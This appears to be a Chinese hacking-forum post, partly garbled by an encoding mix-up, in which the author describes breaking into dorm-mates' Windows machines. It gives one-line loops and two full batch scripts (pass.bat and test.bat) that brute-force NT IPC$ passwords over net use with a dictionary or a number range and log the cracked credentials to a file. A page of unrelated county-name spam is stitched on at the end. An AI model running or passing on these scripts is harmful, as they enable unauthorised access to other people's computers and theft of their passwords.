  部分內(nèi)容來自Ex4rchhttp://www.sometips.com(很好的一個(gè)...淙幌緣糜械闥繕?/a>^_^)。再次特別感謝! 
=========================================================================
假如知道一個(gè)NT帳戶與密碼,就可以用 
  net use //主機(jī)/ipc$ "密碼" /user:"用戶" 
  與遠(yuǎn)程主機(jī)建立連接,這是每一個(gè)黑客或是夢(mèng)想成為又或是正在努力成為黑客的朋友都知道的方法,甚至連我這個(gè)連菜鳥都算不上的小鳥都知道,我也僅僅知道這一條,我就用我僅僅知道的這一條在宿舍網(wǎng)里進(jìn)入別人的電腦,因?yàn)樗麄兊碾娔X密碼都為空,被他們發(fā)現(xiàn)了之后狠K了一頓,然后紛紛加上了密碼,這下可沒戲了,想去偷窺他們的密碼他們又防范得緊,只得想其他辦法,也許各位大蝦們就會(huì)利用其他方法,諸如尋找系統(tǒng)之類得到管理權(quán)限,而我不行,因?yàn)槲仪懊嬲f過,我只會(huì)那一條,那又會(huì)有人說用軟件暴力破解密碼就可以了,也許不錯(cuò),但首先我沒有那些高深的軟件也沒有天賦去研究那些復(fù)雜的用法,卻在無意間看DOS幫助時(shí)發(fā)現(xiàn)了一些命令,當(dāng)真是天無絕人之路: 
  1、字典:for /f %i in (字典文件) do net use //主機(jī)/ipc$ "%i" /user:"用戶" 
  2、數(shù)字:for /l %i in (start,step,end) do net use //主機(jī)/ipc$ "%i" /user:"用戶" 
  以上可參看DOS里面for幫助,還別說,真讓我給連上幾臺(tái)機(jī)子,可問題也隨之而來,連是連上了,我仍然不知道密碼,下次要用還得重新全部試過。 
  正失望,無意間又發(fā)現(xiàn)了一個(gè)好方法,也許是我太笨,也許你們更聰明,,說不定你們?cè)缫呀?jīng)發(fā)現(xiàn)了,不再說廢話,下面就將方法全部給出,請(qǐng)各位大蝦指正: 
  將下面文件存為pass.bat: 
  @echo off 
  echo ---------------------------------------- >>c:/pass.txt 
  echo ---------------------------------------- >>c:/pass.txt 
  date /t >>c:/pass.txt 
  time /t >>c:/pass.txt 
  echo 破解結(jié)果: >>c:/pass.txt 
  if "%6"=="1" goto shit2 
  :shit1 
  start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 
  goto quit 
  :shit2 
  start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 
  :quit 
  將下面文件存為test.bat: 
  net use //%1/ipc$ %2 /user:"%3" 
  goto answer%ERRORLEVEL% 
  rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2 
  :answer0 
  echo 遠(yuǎn)程主機(jī):"%1" >>c:/pass.txt 
  echo 用 戶:"%3" >>c:/pass.txt 
  echo 密 碼:%2 >>c:/pass.txt 
  net use //%1/ipc$ /delet 
  exit 
  :answer2 
  將pass.bat與test.bat存放于system32中,用法如下: 
  1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機(jī) 用戶名 
  2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長 結(jié)束數(shù) 主機(jī) 用戶名 1 
  密碼破解出來之后,存放于c:/pass.txt文件里面。 
  另外,我做的這些只是在局域網(wǎng)內(nèi)測(cè)試,如果遠(yuǎn)程測(cè)試,受網(wǎng)速限制,具體情況只能靠自己去摸索。
 
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 合阳县| 赤水市| 天全县| 远安县| 威宁| 永吉县| 新泰市| 广宁县| 长岛县| 安达市| 凤台县| 武宁县| 海伦市| 怀集县| 右玉县| 班玛县| 华安县| 靖边县| 乐昌市| 时尚| 江川县| 普兰店市| 洱源县| 雅江县| 大荔县| 普宁市| 南康市| 通辽市| 讷河市| 莲花县| 宣武区| 青龙| 沙湾县| 广水市| 信丰县| 博野县| 六枝特区| 庆元县| 比如县| 永康市| 永川市|